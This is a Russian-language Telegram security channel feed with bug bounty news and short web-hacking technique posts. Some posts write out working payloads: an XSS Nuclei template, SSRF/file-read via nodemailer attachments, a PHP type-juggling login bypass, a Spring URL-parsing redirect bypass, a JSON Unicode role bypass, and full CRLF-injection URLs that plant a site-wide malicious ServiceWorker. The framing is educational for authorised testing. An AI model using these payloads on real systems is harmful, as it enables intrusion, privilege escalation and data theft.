Forwarded from BI.ZONE Bug Bounty
На пресс-конференции в рамках OFFZONE 2024 поделились итогами работы BI.ZONE Bug Bounty вместе со Сбером, «Группой Астра» и багхантером Артёмом Бельченко.
Из интересного:
Впереди нас ждет еще больше программ, выплат и крутых ивентов для сообщества!
Если еще не багхантите с нами, присоединяйтесь ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍3🤔2
В связи с недавно прошедшими мероприятиями и моим отпуском не было времени упомянуть некоторые крутые недавно опубликованные доклады. И к одному из таких относится ресерч старины Orange Tsai, в ходе которого было найдено сразу несколько CVE и различных мисконфигов в серверах Apache.
Странно, что никто об этом еще не написал, так как материал очень интересный и я всем рекомендую ознакомиться с оригиналом по ссылке. Я также набросал несколько шаблонов для Nuclei на основе этого доклада, которые вы можете доработать или использовать как есть на своих целях (закину их в комменты под постом).
#web #apache #cve
Please open Telegram to view this post
VIEW IN TELEGRAM
22🔥33👍8😁2
Forwarded from wr3dmast3r vs pentest
Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода🖼️
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость👀
Подробнее
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость
Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
Хабр
Осваиваем DOM Invader: ищем DOM XSS и Prototype Pollution на примере пяти лабораторных и одной уязвимости на Хабре
Привет, Хабр! Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких...
👍17🔥7😢4🤔2
Forwarded from Just Security
This media is not supported in your browser
VIEW IN TELEGRAM
Опубликовали видеоролик о том, как прошла ежегодная независимая премия Pentest award 2024!
Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.
Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.
До встречи в 2025 году 👋
Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.
📺 Полное видео
🔗 Pentest award (архив)
❤ @justsecurity
Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.
Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.
До встречи в 2025 году 👋
Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥4😢1
This media is not supported in your browser
VIEW IN TELEGRAM
Давненько не обновлял Burp Suite и решил глянуть на изменения в новых версиях. Помимо улучшения производительности, оказывается, теперь там можно … играть???
https://github.com/BugBountyzip/Bambdas
https://github.com/BugBountyzip/Bambdas
7😁34🔥6👍1
Forwarded from Standoff 365
Конечно хочешь. Вот короткая инструкция, что делать:
Еще читаешь? Бросай это дело — анкета сама себя не заполнит.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9😁3
В новом обновлении Nuclei v3.3.2 добавили фичу, позволяющую обнаруживать XSS в
headless моде с помощью действия waitdialog. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert(), что позволит искать в том числе и DOM XSS.Я решил протестить все это на лабе портсвигера. По итогу, получился вот такой шаблон:
id: xss-detection
info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss
headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate
- action: waitdialog
name: popup
matchers:
- type: dsl
dsl:
- popup == true
condition: and
Запускаем его через команду:
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net
Более подробно, как всегда, в блоге от Project Discovery.
#web #xss #tools
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥26👍10
Forwarded from Standoff 365
🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:
«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?
Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».
Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:
«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».
Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)
«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?
Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».
Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:
«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».
Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)
3🔥9👍4🤔1
Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.
Подробное объяснение, команды и обилие скринов прилагается.
Ссылка на Хабр
#pentest #ad
Please open Telegram to view this post
VIEW IN TELEGRAM
Хабр
AD CS Web Enrollment. Relay меня полностью
В последнее время часто можно услышать, что атаки на ADCS стали чем-то тривиальным: после выхода информативной статьи Certified Pre-Owned от Specter Ops почти каждый пентестер знает, что такое ESC1 и...
7👍9🔥9
Forwarded from Cybred
Media is too big
VIEW IN TELEGRAM
Баг, через который можно угнать все машины от Kia
У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?
После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.
Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.
Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.
Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.
У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?
После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.
Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.
Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.
Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.
7👍27🔥5
Forwarded from Новости SPbCTF (Vlad Roskov)
Сегодня доклад для любителей SSRF и Bug Bounty
Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.
📺 → видос
🗂 → преза
💬 → фидбэк
Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.
📺 → видос
🗂 → преза
💬 → фидбэк
YouTube
Осень 2024: SSRF на Bug Bounty: взгляд изнутри, Егор Зонов
Доклад с большой сходки SPbCTF в офисе Яндекса (https://vk.com/spbctf)
Егор из Яндекса рассказал про баги класса Server-Side Request Forgery и их сдачу в баг-баунти Яндекса. В докладе — как работает SSRF и какой импакт с помощью него можно получить, как…
Егор из Яндекса рассказал про баги класса Server-Side Request Forgery и их сдачу в баг-баунти Яндекса. В докладе — как работает SSRF и какой импакт с помощью него можно получить, как…
3👍12🔥5😁2
Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)
Не было особой причины думать, что изменение параметра
email_attachments на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:GET / HTTP/1.1
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close
Оказалось, что приложение использует старую версию nodemailer. Быстро стало понятно, что приложение просто принимает строку
email_attachments, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.Приложение ожидало
data:URI, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.Забавно, что nodemailer очень хотел видеть расширение файла в URL. Поэтому для получения файлов надо было указывать что-то типа
http://10.10.1.3:3000/api/v1/apps/list%23test.txt.Позже выяснилось, что nodemailer прикреплял и локальные файлы. Отправка запроса на конечную точку
send_email с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.#web #ssrf #lfr
Please open Telegram to view this post
VIEW IN TELEGRAM
25🔥29👍11
Взгляните внимательно на код ниже. Заметили уязвимость? Ответ под спойлером.
<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>
Можно ли обойти аутентификацию указав вместо пароля значение true? На самом деле да и данный код тому пример.
PHP имеет слабую типизацию, и при использовании оператора == (нестрогое сравнение) происходит автоматическое приведение типов. Это может привести к неожиданным результатам при сравнении разных типов данных.
В данном случае, если злоумышленник отправит JSON, где значением поля password будет true, сравнение между $password и сгенерированным токеном пройдет успешно. Сравнение в строке if ($password == $token) приведет токен к типу boolean для выполнения сравнения, и поскольку любое непустое значение токена при приведении к булеву типу будет равно true, условие выполнится успешно. Таким образом можно обойти аутентификацию и получить доступ к закрытому ресурсу.
#web #ato #appsec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍59🔥20🤔3😁2
Forwarded from #memekatz
This media is not supported in your browser
VIEW IN TELEGRAM
Как читают отчет по пентесту
😁44🔥5🤯1
В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.
Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
BI.ZONE Bug Bounty
😆 Разыгрываем проходки* на церемонию награждения BUGS ZONE 3.0
22 ноября мы будем праздновать в Москве закрытие BUGS ZONE 3.0 и награждать победителей. На встречу мы также позовем вендоров и друзей нашей платформы.
Вы тоже можете попасть на нашу закрытую…
22 ноября мы будем праздновать в Москве закрытие BUGS ZONE 3.0 и награждать победителей. На встречу мы также позовем вендоров и друзей нашей платформы.
Вы тоже можете попасть на нашу закрытую…
👍6🔥3
Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.
Символ «левой квадратной скобки»
[ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.http://target.com/redirect?url=https://target.com%5b@evil.com
Подробнее по ссылке.
#web #redirect #ssrf
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍28🔥5
Forwarded from BlackFan
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
JS файл
Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.
Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.
Для этого формируем код ServiceWorker с
И подключаем его через XSS.
Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.
Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.
Для этого формируем код ServiceWorker с
Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3EТакже иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
10👍22🔥4
JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.
Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор
ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
Более подробно об этом и других кейсах читайте в статье по ссылке.
#web #bypass #priveesc
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍32🔥22😁2🤔1😢1
Forwarded from wr3dmast3r vs pentest
Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨💻
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей😻
Подробнее
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей
Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
Хабр
Небезопасная десериализация в PHP: Как создать собственный эксплойт
Привет, Хабр! Сегодня мы познакомимся с уязвимостями небезопасной десериализации в PHP , научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в...
11🔥20👍4